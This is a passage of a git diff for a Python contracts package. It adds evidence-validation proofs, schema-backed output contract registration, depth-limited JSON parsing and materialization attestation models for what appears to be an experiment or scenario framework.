ParticipantExecutionServiceStateModel +from .participant_resource_budgets import ParticipantResourceBudgetStateModel + + +def validate_execution_service_budget_projection( + services: Mapping[str, ParticipantExecutionServiceStateModel], + budget_states: Mapping[str, ParticipantResourceBudgetStateModel], +) -> None: + budget_refs = set(budget_states) + for service in services.values(): + missing = sorted(set(service.resource_budget_state_refs) - budget_refs) + if missing: + raise ValueError( + "Participant execution service references missing resource-budget states: " + ", ".join(missing) + ) + concurrency = [ + budget_states[budget_ref] + for budget_ref in service.resource_budget_state_refs + if budget_states[budget_ref].resource_kind == "concurrent_actions" + ] + if not concurrency: + continue + if len(concurrency) != 1: + raise ValueError( + "Participant execution service must reference exactly one authoritative concurrency budget" + ) + authoritative = concurrency[0] + projection = (service.capacity, service.reserved, service.in_flight) + authority = (authoritative.limit, authoritative.reserved, authoritative.current_use) + if projection != authority: + raise ValueError( + "Participant execution service concurrency projection must " + "equal its authoritative resource-budget state" + ) diff --git a/implementations/python/packages/raes_contracts/contracts/time_model.py b/implementations/python/packages/raes_contracts/contracts/time_model.py index 5b3fcb19b..122a6f789 100644 --- a/implementations/python/packages/raes_contracts/contracts/time_model.py +++ b/implementations/python/packages/raes_contracts/contracts/time_model.py @@ -8,7 +8,7 @@ from pydantic import Field, StrictInt, model_validator -from ..addressing import CompiledAddress +from ..addressing import CompiledAddress, is_compiler_owned_temporal_subject_address from ..versions import ( REALIZED_TIME_MODEL_SCHEMA_VERSION, TIME_MODEL_SCHEMA_VERSION, @@ -268,7 +268,7 @@ def _validate_constraint_references(self) -> None: if constraint.clock_address not in self.clocks: raise ValueError(f"temporal constraint {constraint.address!r} references an unknown clock") if any( - not subject.startswith("sdl.") and subject not in known_subjects + not is_compiler_owned_temporal_subject_address(subject) and subject not in known_subjects for subject in constraint.subject_addresses ): raise ValueError(f"temporal constraint {constraint.address!r} references an unknown subject") diff --git a/implementations/python/packages/raes_contracts/contracts/trial_analysis.py b/implementations/python/packages/raes_contracts/contracts/trial_analysis.py index 3fd76565d..25b290306 100644 --- a/implementations/python/packages/raes_contracts/contracts/trial_analysis.py +++ b/implementations/python/packages/raes_contracts/contracts/trial_analysis.py @@ -4,12 +4,15 @@ from collections.abc import Mapping from dataclasses import dataclass +from typing import Any from .._canonical import canonical_json_digest from .admitted_trial_plan import AdmittedTrialEntryModel, AdmittedTrialPlanModel from .experiment_analysis import validate_experiment_study_against_tasks_and_runs from .experiment_apparatus import ExperimentTaskModel -from .experiment_run import ExperimentRunEvidenceInputs, ExperimentRunModel +from .experiment_capture import ExperimentCaptureSpecModel +from .experiment_run import ExperimentRunModel +from .experiment_run_evidence_validation import ExperimentRunEvidenceInputs from .experiment_spec import ExperimentStudyModel from .trial_cleanup import TrialCleanupReceiptModel, validate_trial_cleanup_receipt from .trial_provenance import TrialRunProvenanceModel @@ -237,6 +240,8 @@ def validate_admitted_trial_study( runs: list[ExperimentRunModel], *, evidence_by_run: Mapping[str, ExperimentRunEvidenceInputs] | None = None, + relation_scenarios: Mapping[str, Any] | None = None, + relation_capture_specs: Mapping[str, ExperimentCaptureSpecModel] | None = None, ) -> None: """Join admitted coordinates and archival runs to the existing study authority.""" @@ -245,6 +250,8 @@ def validate_admitted_trial_study( tasks, runs, evidence_by_run=evidence_by_run, + relation_scenarios=relation_scenarios, + relation_capture_specs=relation_capture_specs, ) _validate_study_identity(plan, study) _validate_study_run_membership(study, runs) diff --git a/implementations/python/packages/raes_contracts/contracts/trial_compilation.py b/implementations/python/packages/raes_contracts/contracts/trial_compilation.py index f8e366888..b7843f515 100644 --- a/implementations/python/packages/raes_contracts/contracts/trial_compilation.py +++ b/implementations/python/packages/raes_contracts/contracts/trial_compilation.py @@ -25,6 +25,8 @@ class TrialCompilationLimitsModel(ContractModel): max_bindings_per_entry: PositiveInteger = 256 max_draws_per_entry: PositiveInteger = 256 max_diagnostics: PositiveInteger = 128 + max_mixed_profiles: PositiveInteger = 256 + max_mixed_context_work: PositiveInteger = 1_000_000 max_plan_bytes: PositiveInteger = 32 * 1024 * 1024 diff --git a/implementations/python/packages/raes_contracts/evidence_output_validation.py b/implementations/python/packages/raes_contracts/evidence_output_validation.py index e960305b7..75383dfed 100644 --- a/implementations/python/packages/raes_contracts/evidence_output_validation.py +++ b/implementations/python/packages/raes_contracts/evidence_output_validation.py @@ -1,33 +1,137 @@ -"""Owning semantic validators for emitted evidence output contracts.""" +"""Atomic, local-only evidence output schema and semantic ownership registry.""" from __future__ import annotations -from collections.abc import Callable +from collections.abc import Callable, Collection, Mapping +from dataclasses import dataclass, field +from functools import cache +from types import MappingProxyType +from typing import Literal +from jsonschema import Draft202012Validator +from jsonschema.exceptions import SchemaError from pydantic import TypeAdapter +from referencing.exceptions import Unresolvable -from .contracts.experiment_evidence import ExperimentEvidenceRecordModel -from .contracts.participant_runtime import ParticipantBehaviorHistoryEventModel +from ._domain_profile_schema_registry import profile_schema_registry +from .corpus import SCHEMAS, corpus_family_root +from .json_ingress import parse_bounded_json_object -_OutputValidator = Callable[[object], object] -_OUTPUT_VALIDATORS: dict[str, _OutputValidator] = { - "experiment-evidence-record-v1": TypeAdapter(ExperimentEvidenceRecordModel).validate_python, - "participant-behavior-history-event-stream-v1": TypeAdapter( - list[ParticipantBehaviorHistoryEventModel] - ).validate_python, -} +@dataclass(frozen=True) +class EvidenceOutputRegistration: + """One governed entry; eligibility requires every component to resolve.""" + + schema_path: str + root: Literal["object", "array"] + semantic_validator: Callable[[object], object] + + +@dataclass(frozen=True) +class EvidenceOutputContract: + """An output owner resolved together with its exact published schema.""" + + root: Literal["object", "array"] + _schema_validator: Draft202012Validator = field(repr=False) + _semantic_validator: Callable[[object], object] = field(repr=False) + + @property + def media_types(self) -> frozenset[str]: + return frozenset({"application/json", "application/jsonl"} if self.root == "array" else {"application/json"}) + + def validate(self, document: object) -> None: + """Require schema and owning semantics; schema references never fetch.""" + + try: + if next(self._schema_validator.iter_errors(document), None) is not None: + raise ValueError("schema validation failed") + self._semantic_validator(document) + except (ValueError, Unresolvable) as exc: + raise ValueError("emitted evidence does not satisfy the declared output_contract") from exc + + +@cache +def evidence_output_registrations() -> Mapping[str, EvidenceOutputRegistration]: + """Closed eligibility list, distinct from the corpus publication ledger.""" + + # Lazy model imports keep offer parsing independent of contract import order. + from .contracts.experiment_evidence import ExperimentEvidenceRecordModel + from .contracts.participant_runtime import ParticipantBehaviorHistoryEventModel + + return MappingProxyType( + { + "experiment-evidence-record-v1": EvidenceOutputRegistration( + "experiment-core/experiment-evidence-record-v1.json", + "object", + TypeAdapter(ExperimentEvidenceRecordModel).validate_python, + ), + "participant-behavior-history-event-stream-v1": EvidenceOutputRegistration( + "control-plane/participant-behavior-history-event-stream-v1.json", + "array", + TypeAdapter(list[ParticipantBehaviorHistoryEventModel]).validate_python, + ), + } + ) -def validate_evidence_output_contract(output_contract: str, document: object) -> None: - """Run the declared contract's owning semantic validator, or fail closed.""" - validator = _OUTPUT_VALIDATORS.get(output_contract) - if validator is None: +def resolve_evidence_output_contract(output_contract: str) -> EvidenceOutputContract: + """Resolve both parts atomically or refuse evidence eligibility.""" + + registration = evidence_output_registrations().get(output_contract) + if registration is None: + raise ValueError("evidence output_contract is not present in the authoritative contract registry") + if not callable(registration.semantic_validator): raise ValueError("evidence output_contract has no owning semantic validator") try: - validator(document) - except ValueError as exc: - raise ValueError("emitted evidence does not satisfy the declared output_contract") from exc + path = corpus_family_root(SCHEMAS) / registration.schema_path + with path.open("rb") as source: + schema = parse_bounded_json_object(source.read(1024 * 1024 + 1), max_bytes=1024 * 1024) + if schema.get("type") != registration.root: + raise ValueError("unexpected schema root") + Draft202012Validator.check_schema(schema) + validator = Draft202012Validator(schema, registry=profile_schema_registry(schema)) + except (OSError, RuntimeError, ValueError, KeyError, SchemaError) as exc: + raise ValueError("evidence output_contract has no valid published schema") from exc + return EvidenceOutputContract(registration.root, validator, registration.semantic_validator) + + +def validate_evidence_output_contract(output_contract: str, document: object) -> None: + """Validate with the complete registered owner, never a semantic-only lookup.""" + + resolve_evidence_output_contract(output_contract).validate(document) + + +def validate_evidence_output_offer(output_contract: str, media_types: Collection[str]) -> None: + """Require the offered encodings to be supported by the same content owner.""" + + contract = resolve_evidence_output_contract(output_contract) + if not set(media_types).issubset(contract.media_types): + raise ValueError("capture offer media types cannot be validated against its output_contract") + + +def validate_evidence_media_declaration(output_contract: str, media_types: Collection[str]) -> None: + """Reject required encodings with no registered content-proof path.""" + + declared = set(media_types) + if not declared and not output_contract: + return + supported = set().union( + *(resolve_evidence_output_contract(contract_id).media_types for contract_id in evidence_output_registrations()) + ) + unsupported = sorted(declared - supported) + if unsupported: + raise ValueError("unsupported required evidence media type(s): " + ", ".join(unsupported)) + if output_contract: + contract = resolve_evidence_output_contract(output_contract) + if not declared.issubset(contract.media_types): + raise ValueError("required evidence media types cannot be validated against its output_contract") -__all__ = ["validate_evidence_output_contract"] +__all__ = [ + "EvidenceOutputContract", + "evidence_output_registrations", + "resolve_evidence_output_contract", + "validate_evidence_output_contract", + "validate_evidence_output_offer", + "validate_evidence_media_declaration", +] diff --git a/implementations/python/packages/raes_contracts/evidence_proof.py b/implementations/python/packages/raes_contracts/evidence_proof.py new file mode 100644 index 000000000..6fbc79db8 --- /dev/null +++ b/implementations/python/packages/raes_contracts/evidence_proof.py @@ -0,0 +1,107 @@ +"""Immutable process-local results of the emitted-evidence validation boundary. + +These results have no wire decoder or public constructor. Recompute them from +content at ingress; reference metadata cannot restore validation authority. +""" + +from __future__ import annotations + +from collections.abc import Collection +from dataclasses import InitVar, dataclass +from typing import TYPE_CHECKING + +from .canonical import canonical_json_digest + +_EVIDENCE_VALIDATION_KEY = object() + +if TYPE_CHECKING: + from .contracts.experiment_apparatus import ExperimentTaskModel + from .contracts.experiment_references import ExperimentReferenceModel + from .contracts.experiment_run import ExperimentRunModel + + +@dataclass(frozen=True, slots=True) +class ValidatedEvidenceBinding: + """Immutable identity facts from a fully validated requirement/artifact join.""" + + requirement_id: str + capture_spec_id: str + capture_spec_version: str + record_id: str + record_version: str + output_contract: str + artifact_id: str + artifact_digest: str + artifact_path_digest: str + _validation_key: InitVar[object] + + def __post_init__(self, _validation_key: object) -> None: + if _validation_key is not _EVIDENCE_VALIDATION_KEY: + raise TypeError("evidence binding requires content validation") + + def _matches(self, reference: ExperimentReferenceModel) -> bool: + return ( + reference.ref_kind == "evidence" + and reference.ref_id == self.requirement_id + and (reference.ref_version is None or reference.ref_version == self.record_version) + and (reference.ref_digest is None or reference.ref_digest.casefold() == self.artifact_digest.casefold()) + and (reference.ref_path is None or canonical_json_digest(reference.ref_path) == self.artifact_path_digest) + ) + + +@dataclass(frozen=True, slots=True, init=False) +class ValidatedRunEvidence: + """Content proof bound to the exact validated task and run, not their ids alone.""" + + bindings: tuple[ValidatedEvidenceBinding, ...] + task_digest: str + run_digest: str + + def __init__(self) -> None: + raise TypeError("evidence proof requires content validation") + + def __reduce_ex__(self, _protocol: int) -> object: + raise TypeError("evidence proofs cannot be serialized; repeat content validation") + + def require_context(self, task: ExperimentTaskModel, run: ExperimentRunModel) -> None: + """Reject use after either validated input has changed.""" + + self.require_run(run) + if canonical_json_digest(task.model_dump(mode="json")) != self.task_digest: + raise ValueError("validated evidence proof does not match the supplied task") + + def require_run(self, run: ExperimentRunModel) -> None: + if canonical_json_digest(run.model_dump(mode="json")) != self.run_digest: + raise ValueError("validated evidence proof does not match the supplied run") + + def satisfies( + self, + run: ExperimentRunModel, + reference: ExperimentReferenceModel, + *, + artifact_ids: Collection[str] | None = None, + ) -> bool: + """Match a consumer's relation only against content-proven bindings.""" + + self.require_run(run) + return any( + binding._matches(reference) and (artifact_ids is None or binding.artifact_id in artifact_ids) + for binding in self.bindings + ) + + +def _mint_validated_run_evidence( + task: ExperimentTaskModel, + run: ExperimentRunModel, + bindings: tuple[ValidatedEvidenceBinding, ...], +) -> ValidatedRunEvidence: + """Internal final step of evidence_satisfaction; never a reference decoder.""" + + proof = object.__new__(ValidatedRunEvidence) + object.__setattr__(proof, "bindings", bindings) + object.__setattr__(proof, "task_digest", canonical_json_digest(task.model_dump(mode="json"))) + object.__setattr__(proof, "run_digest", canonical_json_digest(run.model_dump(mode="json"))) + return proof + + +__all__ = ["ValidatedEvidenceBinding", "ValidatedRunEvidence"] diff --git a/implementations/python/packages/raes_contracts/evidence_satisfaction.py b/implementations/python/packages/raes_contracts/evidence_satisfaction.py index 9aa8f9902..4173a52d9 100644 --- a/implementations/python/packages/raes_contracts/evidence_satisfaction.py +++ b/implementations/python/packages/raes_contracts/evidence_satisfaction.py @@ -3,32 +3,54 @@ from __future__ import annotations from collections.abc import Mapping -from dataclasses import dataclass from datetime import datetime from typing import BinaryIO -from ._evidence_content_validation import _validate_artifact_content +from ._evidence_content_validation import _EvidenceContentCache, _validate_artifact_content +from .canonical import canonical_json_digest from .contracts import ( ExperimentArtifactRefModel, ExperimentCaptureRequirementModel, ExperimentCaptureSpecModel, ExperimentCaptureWindowModel, ExperimentEvidenceRecordModel, - ExperimentEvidenceReferenceModel, + ExperimentReferenceModel, ExperimentRunModel, ExperimentTaskModel, validate_experiment_run_structure_against_task, ) from .contracts.base import _parse_rfc3339_datetime +from .contracts.experiment_artifacts import _identity_matches_reference, _reference_satisfies_requirement +from .evidence_proof import ( + _EVIDENCE_VALIDATION_KEY, + ValidatedEvidenceBinding, + ValidatedRunEvidence, + _mint_validated_run_evidence, +) +_MAX_EVIDENCE_ITEMS = 1024 +_MAX_TOTAL_EVIDENCE_BYTES = 256 * 1024 * 1024 -@dataclass(frozen=True) -class _ValidatedEvidenceBinding: - """A requirement-to-record-to-artifact relation created only after proof.""" - requirement_id: str - record: ExperimentEvidenceRecordModel - artifact: ExperimentArtifactRefModel +def _validate_evidence_limits( + run: ExperimentRunModel, + capture_specs: Mapping[str, ExperimentCaptureSpecModel], + evidence_records: Mapping[str, ExperimentEvidenceRecordModel], + artifact_readers: Mapping[str, BinaryIO], +) -> None: + if ( + max( + len(run.evidence_artifacts), + len(capture_specs), + len(evidence_records), + len(artifact_readers), + sum(len(spec.capture_requirements) for spec in capture_specs.values()), + ) + > _MAX_EVIDENCE_ITEMS + ): + raise ValueError("evidence item count exceeds the bounded validation limit") + if sum(artifact.size_bytes for artifact in run.evidence_artifacts) > _MAX_TOTAL_EVIDENCE_BYTES: + raise ValueError("aggregate evidence bytes exceed the bounded validation limit") def _artifact_for_record( @@ -70,7 +92,7 @@ def _validate_record_binding( _validate_record_execution_identity(task, run, record) _validate_record_window(run, capture_spec, requirement, record) _validate_record_disclosure(requirement, record) - _validate_record_source(requirement, record) + _validate_record_source(run, requirement, record) def _validate_record_capture_identity( @@ -96,14 +118,31 @@ def _validate_record_execution_identity( run: ExperimentRunModel, record: ExperimentEvidenceRecordModel, ) -> None: - if record.run_ref.ref_id != run.run_id or ( - record.run_ref.ref_version is not None and record.run_ref.ref_version != run.run_version - ): + run_reference = ExperimentReferenceModel(ref_kind="run", ref_id=run.run_id, ref_version=run.run_version) + if not _reference_satisfies_requirement(run_reference, record.run_ref): raise ValueError("evidence record run_ref does not match the experiment run") if record.task_ref is not None and ( record.task_ref.ref_id != task.task_id or record.task_ref.ref_version != task.task_version ): raise ValueError("evidence record task_ref does not match the experiment task") + apparatus = run.apparatus_context + apparatus_reference = ExperimentReferenceModel( + ref_kind="apparatus-context", ref_id=apparatus.apparatus_context_id, ref_version=apparatus.context_version + ) + if record.apparatus_context_ref is not None and not _reference_satisfies_requirement( + apparatus_reference, record.apparatus_context_ref + ): + raise ValueError("evidence record apparatus_context_ref does not match the run apparatus") + + +def _validate_augmentation_producers(run: ExperimentRunModel) -> None: + for disclosure in run.augmentation_disclosures: + producer = disclosure.augmented_by_ref + if not any( + component.component_kind == producer.ref_kind and _identity_matches_reference(component.identity, producer) + for component in run.apparatus_context.components.values() + ): + raise ValueError("augmentation producer must resolve to the run apparatus") def _resolve_capture_window( @@ -200,6 +239,7 @@ def _validate_redaction_state( def _validate_record_source( + run: ExperimentRunModel, requirement: ExperimentCaptureRequirementModel, record: ExperimentEvidenceRecordModel, ) -> None: @@ -211,30 +251,24 @@ def _validate_record_source( for source in record.source_refs ): raise ValueError("evidence record source does not match the admitted measurement channel") - - -def _binding_satisfies_reference( - binding: _ValidatedEvidenceBinding, - reference: ExperimentEvidenceReferenceModel, -) -> bool: - if reference.ref_version is not None and reference.ref_version != binding.record.record_version: - return False - if reference.ref_digest is not None: - artifact_digest = f"{binding.artifact.checksum.algorithm}:{binding.artifact.checksum.value}" - if artifact_digest.casefold() != reference.ref_digest.casefold(): - return False - return reference.ref_path is None or binding.artifact.uri == reference.ref_path + if not any( + _reference_satisfies_requirement(channel, required_source) + and any(_reference_satisfies_requirement(channel, source) for source in record.source_refs) + for channel in run.apparatus_context.measurement_channels + ): + raise ValueError("evidence measurement channel must resolve to the run apparatus") def _validate_task_evidence_bindings( task: ExperimentTaskModel, run: ExperimentRunModel, - bindings: Mapping[str, _ValidatedEvidenceBinding], + proof: ValidatedRunEvidence, ) -> None: + proof.require_context(task, run) missing_observations = sorted( reference.ref_id for reference in task.evaluation_protocol.observation_requirements - if (binding := bindings.get(reference.ref_id)) is None or not _binding_satisfies_reference(binding, reference) + if not proof.satisfies(run, reference) ) if missing_observations: raise ValueError( @@ -247,12 +281,7 @@ def _validate_task_evidence_bindings( result_artifact_ids = {reference.ref_id for reference in result.evidence_refs} metric = task.evaluation_protocol.metric_definitions[result.metric_id] for reference in metric.evidence_requirements: - binding = bindings.get(reference.ref_id) - if ( - binding is None - or binding.artifact.artifact_id not in result_artifact_ids - or not _binding_satisfies_reference(binding, reference) - ): + if not proof.satisfies(run, reference, artifact_ids=result_artifact_ids): missing_metric_evidence.append(f"{result_id}:{reference.ref_id}") if missing_metric_evidence: raise ValueError( @@ -268,7 +297,7 @@ def validate_experiment_run_evidence( capture_specs: Mapping[str, ExperimentCaptureSpecModel], evidence_records: Mapping[str, ExperimentEvidenceRecordModel], artifact_readers: Mapping[str, BinaryIO], -) -> tuple[ExperimentEvidenceReferenceModel, ...]: +) -> ValidatedRunEvidence: """Prove task/run evidence claims against exact records and emitted bytes. The caller acquires immutable byte streams. This validator never fetches @@ -276,7 +305,25 @@ def validate_experiment_run_evidence( identifiers and summaries as evidence. """ + # Stabilize and revalidate the entire metadata cut before invoking caller + # readers. Their callbacks must not change already-checked facts or the + # context to which the resulting proof is bound. Readers themselves remain + # explicit streams, not copied or acquired through artifact locators. + _validate_evidence_limits(run, capture_specs, evidence_records, artifact_readers) + task = ExperimentTaskModel.model_validate(task.model_dump(mode="python")) + run = ExperimentRunModel.model_validate(run.model_dump(mode="python")) + capture_specs = { + key: ExperimentCaptureSpecModel.model_validate(spec.model_dump(mode="python")) + for key, spec in capture_specs.items() + } + evidence_records = { + key: ExperimentEvidenceRecordModel.model_validate(record.model_dump(mode="python")) + for key, record in evidence_records.items() + } + artifact_readers = dict(artifact_readers) + _validate_evidence_limits(run, capture_specs, evidence_records, artifact_readers) validate_experiment_run_structure_against_task(task, run) + _validate_augmentation_producers(run) _validate_supplied_evidence_sets(run, capture_specs, evidence_records) requirements, records_by_requirement = _index_capture_evidence(capture_specs, evidence_records) _validate_task_requirement_ids(task, requirements) @@ -287,8 +334,9 @@ def validate_experiment_run_evidence( records_by_requirement, artifact_readers, ) - _validate_task_evidence_bindings(task, run, validated_bindings) - return tuple(_binding_reference(binding) for binding in validated_bindings.values()) + proof = _mint_validated_run_evidence(task, run, tuple(validated_bindings.values())) + _validate_task_evidence_bindings(task, run, proof) + return proof def _validate_supplied_evidence_sets( @@ -353,8 +401,9 @@ def _validate_evidence_bindings( requirements: Mapping[str, tuple[ExperimentCaptureSpecModel, ExperimentCaptureRequirementModel]], records_by_requirement: Mapping[tuple[str, str], list[ExperimentEvidenceRecordModel]], artifact_readers: Mapping[str, BinaryIO], -) -> dict[str, _ValidatedEvidenceBinding]: - validated_bindings: dict[str, _ValidatedEvidenceBinding] = {} +) -> dict[str, ValidatedEvidenceBinding]: + validated_bindings: dict[str, ValidatedEvidenceBinding] = {} + content_cache = _EvidenceContentCache() for requirement_id in sorted(requirements): capture_spec, requirement = requirements[requirement_id] records = records_by_requirement.get((capture_spec.capture_spec_id, requirement_id), []) @@ -369,23 +418,26 @@ def _validate_evidence_bindings( record=record, ) artifact = _artifact_for_record(run, record) - _validate_artifact_content(requirement, record, artifact, artifact_readers.get(artifact.artifact_id)) - validated_bindings[requirement_id] = _ValidatedEvidenceBinding( + _validate_artifact_content( + requirement, + record, + artifact, + artifact_readers.get(artifact.artifact_id), + content_cache, + ) + validated_bindings[requirement_id] = ValidatedEvidenceBinding( requirement_id=requirement_id, - record=record, - artifact=artifact, + capture_spec_id=capture_spec.capture_spec_id, + capture_spec_version=capture_spec.spec_version, + record_id=record.evidence_record_id, + record_version=record.record_version, + output_contract=requirement.output_contract, + artifact_id=artifact.artifact_id, + artifact_digest=f"{artifact.checksum.algorithm}:{artifact.checksum.value}", + artifact_path_digest=canonical_json_digest(artifact.uri), + _validation_key=_EVIDENCE_VALIDATION_KEY, ) return validated_bindings -def _binding_reference(binding: _ValidatedEvidenceBinding) -> ExperimentEvidenceReferenceModel: - return ExperimentEvidenceReferenceModel( - ref_kind="evidence", - ref_id=binding.requirement_id, - ref_version=binding.record.record_version, - ref_digest=f"{binding.artifact.checksum.algorithm}:{binding.artifact.checksum.value}", - ref_path=binding.artifact.uri, - ) - - -__all__ = ["validate_experiment_run_evidence"] +__all__ = ["ValidatedEvidenceBinding", "ValidatedRunEvidence", "validate_experiment_run_evidence"] diff --git a/implementations/python/packages/raes_contracts/json_ingress.py b/implementations/python/packages/raes_contracts/json_ingress.py index ed66ae670..6b2a29bd3 100644 --- a/implementations/python/packages/raes_contracts/json_ingress.py +++ b/implementations/python/packages/raes_contracts/json_ingress.py @@ -3,9 +3,14 @@ from __future__ import annotations import json +import math from typing import Literal JSONValue = None | bool | int | float | str | list["JSONValue"] | dict[str, "JSONValue"] +_BACKSLASH_BYTE = 0x5C +_DOUBLE_QUOTE_BYTE = 0x22 +_CONTAINER_START_BYTES = (0x5B, 0x7B) +_CONTAINER_END_BYTES = (0x5D, 0x7D) class StrictJsonIngressError(ValueError): @@ -31,11 +36,52 @@ def _reject_non_finite_number(_: str) -> float: raise StrictJsonIngressError("non-finite-number", "JSON contains a non-finite number") +def _finite_float(value: str) -> float: + parsed = float(value) + if not math.isfinite(parsed): + return _reject_non_finite_number(value) + return parsed + + +def _advance_quoted_state(byte: int, escaped: bool) -> tuple[bool, bool]: + if escaped: + return True, False + if byte == _BACKSLASH_BYTE: + return True, True + return byte != _DOUBLE_QUOTE_BYTE, False + + +def _reject_excessive_nesting(encoded: bytes, max_depth: int) -> None: + """Reject excessive container nesting before the recursive JSON decoder runs.""" + + if max_depth < 1: + raise ValueError("max_depth must be positive") + depth = 0 + in_string = False + escaped = False + for byte in encoded: + if in_string: + in_string, escaped = _advance_quoted_state(byte, escaped) + continue + if byte == _DOUBLE_QUOTE_BYTE: + in_string = True + elif byte in _CONTAINER_START_BYTES: + depth += 1 + if depth > max_depth: + raise StrictJsonIngressError( + "input-too-deep", + "JSON input exceeds the configured depth limit", + ) + elif byte in _CONTAINER_END_BYTES: + depth -= 1 + + def parse_bounded_json( source: str | bytes | bytearray, *, max_bytes: int, root: Literal["object", "array"], + max_depth: int | None = None, ) -> JSONValue: """Parse bounded JSON with an explicit, ambiguity-free root shape.""" @@ -46,11 +92,14 @@ def parse_bounded_json( raise StrictJsonIngressError("input-too-large", "JSON input exceeds the configured byte limit") if not encoded.strip(): raise StrictJsonIngressError("empty-input", "JSON input is empty") + if max_depth is not None: + _reject_excessive_nesting(encoded, max_depth) try: payload = json.loads( encoded, object_pairs_hook=_duplicate_rejecting_object, parse_constant=_reject_non_finite_number, + parse_float=_finite_float, ) except StrictJsonIngressError: raise @@ -66,10 +115,11 @@ def parse_bounded_json_object( source: str | bytes | bytearray, *, max_bytes: int, + max_depth: int | None = None, ) -> dict[str, JSONValue]: """Parse one bounded JSON object without duplicate members or non-finite numbers.""" - payload = parse_bounded_json(source, max_bytes=max_bytes, root="object") + payload = parse_bounded_json(source, max_bytes=max_bytes, root="object", max_depth=max_depth) # The shared parser establishes the selected root type. if not isinstance(payload, dict): raise AssertionError("object-root parser returned a non-object") diff --git a/implementations/python/packages/raes_contracts/manifest_authority.py b/implementations/python/packages/raes_contracts/manifest_authority.py index f34226193..680b83db3 100644 --- a/implementations/python/packages/raes_contracts/manifest_authority.py +++ b/implementations/python/packages/raes_contracts/manifest_authority.py @@ -4,6 +4,8 @@ from collections.abc import Iterable +from .versions import BACKEND_OPERATION_CONTRACT_IDS + PROCESSOR_SUPPORTED_SDL_VERSION_IDS = ("sdl-authoring-input-v1",) # These are the published processor-facing and live-control-plane contracts a @@ -37,6 +39,9 @@ # profiles, processor manifests, and authoring-side request artifacts are # separate authority surfaces and do not belong in this declaration field. BACKEND_SUPPORTED_CONTRACT_IDS = ( + *BACKEND_OPERATION_CONTRACT_IDS, + "backend-materialization-attestation-v1", + "backend-augmentation-scope-v1", "plan-realization-profiles-v1", "backend-realization-preparation-v1", "backend-manifest-v2", @@ -65,6 +70,10 @@ "participant-resource-budget-state-v1", "participant-resource-budget-event-v1", "participant-control-occurrence-v1", + "participant-control-selection-v1", + "participant-control-evaluation-v1", + "participant-control-selection-v2", + "participant-control-evaluation-v2", "participant-crossing-occurrence-v1", "participant-flow-control-relation-v1", "participant-lifecycle-event-v1", @@ -120,6 +129,7 @@ { *PARTICIPANT_RUNTIME_POLICY_FEATURES, "participant_predicate_opacity", + "participant_modular_control", *PARTICIPANT_ADVERSARIAL_CONTROL_FEATURES, } ) @@ -187,6 +197,9 @@ "observation_boundaries": _PARTICIPANT_BEHAVIOR_CONTRACTS, "outcome_interpretation": _PARTICIPANT_BEHAVIOR_CONTRACTS, "participant_predicate_opacity": _PARTICIPANT_OPACITY_CONTRACTS, + "participant_modular_control": frozenset( + {"participant-control-selection-v1", "participant-control-evaluation-v1"} + ), "participant_declassification": frozenset({"participant-crossing-occurrence-v1"}), "participant_directed_inject_delivery": frozenset( {"orchestration-plan-v1", "participant-crossing-occurrence-v1"} diff --git a/implementations/python/packages/raes_contracts/materialization.py b/implementations/python/packages/raes_contracts/materialization.py new file mode 100644 index 000000000..7de2a5d60 --- /dev/null +++ b/implementations/python/packages/raes_contracts/materialization.py @@ -0,0 +1,104 @@ +"""Dependency-neutral carriers for negotiated backend materialization reporting.""" + +from __future__ import annotations + +from typing import TYPE_CHECKING, Annotated, Literal, Protocol + +from pydantic import ConfigDict, Field, model_validator + +from ._base import ContractModel +from .canonical import canonical_json_digest +from .json_ingress import parse_bounded_json_object +from .realization_structure import validate_realization_value +from .runtime_value_limits import RUNTIME_SNAPSHOT_VALUE_LIMITS + +if TYPE_CHECKING: + from .contracts.materialization_attestation import MaterializationArchiveRecord + +MATERIALIZATION_ATTESTATION_CONTRACT = "backend-materialization-attestation-v1" +MATERIALIZATION_MAX_BYTES = 1048576 +MaterializationDigest = Annotated[str, Field(pattern=r"^sha256:[a-f0-9]{64}$")] + + +class MaterializationSource(ContractModel): + """Trusted full source context sealed into the exact operation plan.""" + + model_config = ConfigDict(extra="forbid", frozen=True) + contract_id: Literal["backend-materialization-attestation-v1"] = MATERIALIZATION_ATTESTATION_CONTRACT + snapshot: str = Field(min_length=1, max_length=MATERIALIZATION_MAX_BYTES) + authored_digest: MaterializationDigest + instantiated_digest: MaterializationDigest + run_id: str = Field(min_length=1, max_length=128, pattern=r"^[A-Za-z0-9][A-Za-z0-9_.-]*$") + + @property + def augmentation_scope_required(self) -> bool: + """Derive the permission obligation from bound SDL, not a plan's convenience flag.""" + payload = parse_bounded_json_object(self.snapshot, max_bytes=MATERIALIZATION_MAX_BYTES) + return payload["scenario"].get("augmentation_scope") is not None + + @model_validator(mode="after") + def _validate_source_identity(self) -> MaterializationSource: + payload = parse_bounded_json_object(self.snapshot, max_bytes=MATERIALIZATION_MAX_BYTES) + if not validate_realization_value(payload, limits=RUNTIME_SNAPSHOT_VALUE_LIMITS).conformant: + raise ValueError("materialization source exceeds portable bounds") + if payload.get("profile") != "raes-sdl-instantiated-snapshot/v2" or set(payload) != {"profile", "scenario"}: + raise ValueError("materialization source requires the admitted instantiated snapshot profile") + if canonical_json_digest(payload) != self.instantiated_digest: + raise ValueError("materialization source does not match its instantiated identity") + scenario = payload.get("scenario") + provenance = scenario.get("instantiation_provenance") if isinstance(scenario, dict) else None + authored = provenance.get("authored_digest") if isinstance(provenance, dict) else None + if not isinstance(authored, dict) or authored.get("value") != self.authored_digest: + raise ValueError("materialization source does not match its authored identity") + return self + + +class MaterializationSubmission(ContractModel): + """A producer's bounded SDL bytes; admission is owned by the SDL consumer.""" + + model_config = ConfigDict(extra="forbid", frozen=True) + contract_id: Literal["backend-materialization-attestation-v1"] = MATERIALIZATION_ATTESTATION_CONTRACT + sdl: str = Field(min_length=1, max_length=MATERIALIZATION_MAX_BYTES) + + @model_validator(mode="after") + def _validate_size(self) -> MaterializationSubmission: + if len(self.sdl.encode("utf-8")) > MATERIALIZATION_MAX_BYTES: + raise ValueError("materialization submission exceeds the byte limit") + return self + + +class MaterializationArchive(Protocol): + """The incumbent run archive supplied by the runtime's operational owner.""" + + def publish(self, content: str) -> MaterializationArchiveRecord: ... + + def read(self, record: MaterializationArchiveRecord) -> MaterializationSubmission: ... + + +def require_materialization_records(records: object) -> None: + """Validate the bounded runtime-owned archive-reference collection.""" + if not isinstance(records, tuple): + raise TypeError("materialization attestations must be a tuple") + if not records: + return + from .contracts.materialization_attestation import MaterializationArchiveRecord + + if not validate_realization_value(records, 